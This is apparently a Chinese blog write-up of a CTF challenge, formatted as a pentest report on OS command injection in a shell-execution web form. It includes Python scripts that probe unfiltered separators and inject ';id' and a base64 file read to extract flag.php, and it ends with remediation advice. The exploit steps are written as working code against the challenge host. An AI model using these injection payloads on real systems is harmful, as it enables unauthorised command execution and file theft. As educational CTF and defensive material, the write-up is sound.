BurpSuite+AI渗透测试(七):一个分号,拿下服务器
原创
yusaho
yusaho
Web安全工具库
2026年6月11日 16:25
河南
在小说阅读器读本章
去阅读
一、概述
测试人员对目标 Web 应用进行黑盒安全评估。该应用为一个在线代码执行平台,允许用户提交 Shell 脚本并在服务器端运行。测试过程中发现服务器端存在严重的输入过滤缺陷,导致攻击者可在未授权状态下执行任意系统指令并读取敏感文件。
二、漏洞详情
2.1 漏洞类型
操作系统命令注入(OS Command Injection)
2.2 风险等级
高危(High)
2.3 漏洞位置
POST / HTTP/1.1
Host: 2f1bb9c7-ec5****ge.ctf.show
Content-Type: application/x-www-form-urlencoded
shell_code=<payload>
2.4 漏洞成因
服务器后端将用户输入直接拼接至系统调用中,伪代码逻辑如下:
// 危险写法(示意)
$cmd = \"ls \" . $_POST['shell_code'];
system($cmd);
后端对输入进行了部分过滤(限制空格使用),但未过滤命令分隔符 ;,导致攻击者可通过注入分隔符截断原有指令并追加任意命令。
三、测试过程
3.1 信息收集
访问目标页面,确认功能为 Shell 指令执行框。初步判断存在服务端执行用户输入的逻辑。提交基础指令 ls,服务器返回执行成功提示但无输出内容,确认为无回显命令执行场景。
3.2 过滤规则探测
测试常见分隔符,逐步确认哪些字符未被过滤:
import requests
target = \"https://2f1bb9c7-ec50-*********6d.challenge.ctf.show/\"
payloads = {
\"管道符\": \"ls|id\",
\"分号\": \";id\",
\"逻辑与\": \"&&id\",
\"后台执行\": \"&id\",
}
for name, payload in payloads.items():
resp = requests.post(target, data={\"shell_code\": payload})
# 通过返回内容是否包含 uid= 判断是否执行成功
hit = \"uid=\"in resp.text
print(f\"[{'✓' if hit else '✗'}] {name:8s} payload={payload!r}\")
探测结果:
[✓] 管道符 payload='ls|id'
[✓] 分号 payload=';id'
[✗] 逻辑与 payload='&&id'
[✗] 后台执行 payload='&id'
分号 ; 与管道符 | 均未被过滤,可用于截断并注入后续指令。
3.3 漏洞验证
使用分号注入 id 指令验证代码执行权限:
import requests
target = \"https://2f1bb9c********llenge.ctf.show/\"
payload = \";id\"
resp = requests.post(target, data={\"shell_code\": payload})
print(resp.text)
服务器回显:
ls ;id execute success!
flag.php
index.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认漏洞存在,当前进程权限为 www-data,同时获得目录文件列表,发现目标文件 flag.php。
3.4 敏感文件读取
直接读取时,PHP 标签导致内容被解析不可见:
payload = \";cat flag.php\"
resp = requests.post(target, data={\"shell_code\": payload})
print(resp.text)
# 输出仅有文件名列表,PHP 代码内容被渲染为空
改用编码方案,将文件内容以 Base64 形式输出后再本地解码:
import requests
import base64
import re
target = \"https://2f1b*******d.challenge.ctf.show/\"
# 第一步:获取 Base64 编码内容
payload = \";b*se64 fl*g.php\"
resp = requests.post(target, data={\"shell_code\": payload})
# 从响应中提取 Base64 字符串(去除页面其余内容)
b64 = re.search(r'([A-Za-z0-9+/=]{20,})', resp.text)
if b64:
decoded = base64.b64decode(b64.group(1)).decode()
print(\"[+] 文件内容:\")
print(decoded)
执行输出:
[+] 文件内容:
<?php
$fl*g = \"CTF{no_******mm*nds}\";
敏感信息成功读取。
四、影响范围
- • 可在服务器上以
w*****a权限执行任意系统指令 - • 可读取 Web 目录下所有文件,包括含有敏感信息的配置文件
- • 若服务器存在其他提权路径,攻击者可进一步扩大控制范围
五、修复建议
1. 禁止直接将用户输入传入系统调用
避免使用 system()、exec()、shell_exec()、passthru() 等函数处理用户输入。若业务必须执行外部命令,应使用白名单机制严格限制可执行的指令范围。
2. 对用户输入进行严格过滤
过滤所有命令分隔符及特殊字符,包括但不限于:
; | & ` $ ( ) { } [ ] < > \
\\r
PHP 环境下应使用 escapeshellarg() 对参数进行转义:
// 修复示例
$allowed = ['ls', 'pwd', 'date']; // 白名单
$input = trim($_POST['shell_code']);
if (!in_array($input, $allowed)) {
die(\"指令不在允许范围内\");
}
// 即使使用白名单,传参时仍应转义
$safe = escapeshellcmd($input);
system($safe);
3. 以最小权限运行 Web 进程
确保 Web 服务进程(如 www-data)不具备访问敏感目录或执行高权限操作的能力,限制横向移动和提权空间。
4. 敏感文件访问控制
将含有密钥、凭据等敏感信息的文件移出 Web 根目录,并通过文件系统权限限制读取:
# 将敏感配置移至 Web 根目录之外
mv /var/www/html/config.php /etc/myapp/config.php
chmod 600 /etc/myapp/config.php
chown root:root /etc/myapp/config.php
5. 禁用危险函数
在 php.ini 中通过 disable_functions 禁用不必要的命令执行函数:
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
六、总结
| 项目 | 内容 |
|---|---|
| 漏洞类型 | OS 命令注入 |
| 利用难度 | 低 |
| 危害程度 | 高 |
| 修复优先级 | 紧急 |
| 根本原因 | 用户输入未过滤直接拼接至系统调用 |
| 绕过方式 | 分号截断 + Base64 编码绕过渲染 |
本次测试发现目标系统存在高危命令注入漏洞,根本原因在于服务端对用户输入过度信任,过滤策略不完整。攻击者无需任何凭据即可在服务器上执行任意指令并读取敏感文件。建议立即停止在生产环境中暴露此类功能接口,并按上述方案完成修复。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论